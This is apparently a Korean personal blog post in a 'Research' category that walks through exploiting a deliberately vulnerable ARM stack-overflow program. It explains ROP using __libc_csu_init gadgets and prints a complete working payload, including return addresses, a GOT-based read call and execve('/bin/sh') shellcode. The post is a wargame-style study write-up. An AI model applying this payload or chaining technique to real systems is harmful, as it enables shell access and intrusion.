>

#환경 :  armv7 debian, rwx, random stack

#include<stdio.h>


int main(char argc, char *argv[])

{

char buf[16];

read(0,buf,255);

return 0;

}

공략할 프로그램의 소스이다. 주석에 써놨듯이 arm환경이다. 그리고 쉘코드를 실행시키기 위해 메모리에 rwx 권한을 주었다. 랜덤스택이기 때문에 read함수 재호출을 해서 권한 있는 메모리에 쉘코드를 넣어두고 그 곳으로 뛰는 식의 공격을 할 것이다.

arm의 특징은 함수 호출 규약이 x64처럼 레지스터를 이용한다는 것인데, 이 특성때문에 x86처럼 스택기반의 ROP같은 공격이 조금 어렵다.

물론 불가능한 것은 아니다. 리눅스 바이너리에 공통적으로 박혀있는 libc_csu_init 이 함수 쪽의 가젯을 이용하면 스택을 통한 함수 호출이 가능하다.(정확히는 스택의 값을 레지스터에 때려박고 레지스터 참조로 함수호출을 함)

libc_csu_init을 알게된건 pwnable.kr 워게임을 풀면서 x64 exploitation을 공부하다가 같이 공부하는 형한테 배웠다.

x64와 비슷한 특징을 갖고 있으니 arm에서도 libc_csu_init을 사용할 수 있지 않을까 했는데 결론은 충분히 가능했다. (나만 모르고 다른사람들은 이미 알았을 수도 있다.)

<libc_csu_init>

위 사진의 POP.W {R3-R9,PC} 가젯은 스택의 값을 R3부터 R9 그리고 PC까지 넣어준다. 이걸로 레지스터를 바꿔주고 PC부분은 LDR.W R3, [R5],#4 로 맞춰준다. 그러면 BLX R3 구문 덕에 원하는 함수를 호출할 수 있다. CMP R4, R9 명령이 있으니 R4와 R9를 같게 설정해주면 계속해서 체이닝이 가능하다.

요약하자면 다음과 같다.

R3 : 쩌리 => 어차피 후에 [R5]값이 불러와짐

R4 : R9 -1 

R5 : 호출할 함수의 포인터 => 주로 GOT

R6: 첫번째 인자 => R0

R7: 두번째 인자 => R1

R8: 세번째 인자 => R2

R9: 1로 설정하면 편하다


간혹 arm 인스트럭션이 제대로 실행이 안될때가 있는데 그럴때는 명령주소+1을 잡아주면 실행이 잘 된다.


(python -c 'print "a"*20 + "\x0b\x84\x00\x00" + "bbbb\x00\x00\x00\x00\x3c\x05\x01\x00\x00\x00\x00\x00\x60\x05\x01\x00\x64\x00\x00\x00\x01\x00\x00\x00\xf9\x83\x00\x00aaaabbbbccccddddeeeeffffgggg\x60\x05\x01\x00"';python -c 'print "\x00\xbf"*10 + "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0a\x30\x01\x90\x01\xa9\x92\x1a\x0b\x27\x01\xdf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x00"';cat)|./bof_arm

완성된 페이로드이다. 주요부분만 요약하면 

R5: read 함수 GOT

R6: 첫번째 인자 => 디스크립터니까 stdin인 0으로 넣어준다

R7: 두번째 인자 => BSS 영역

R7: 세번째 인자 => length

그리고 나중에 쉘코드가 들어간 부분으로 pc를 맞춰주면 쉘이 실행된다.




'Research' 카테고리의 다른 글

쉘코드 수신 쉘코드  (0) 2015.09.12
arm exploitation using ROP  (0) 2015.02.26
blind sql injection script template  (1) 2015.02.20
UAF에 대한 고찰  (1) 2014.03.09
Posted by Mungsul
,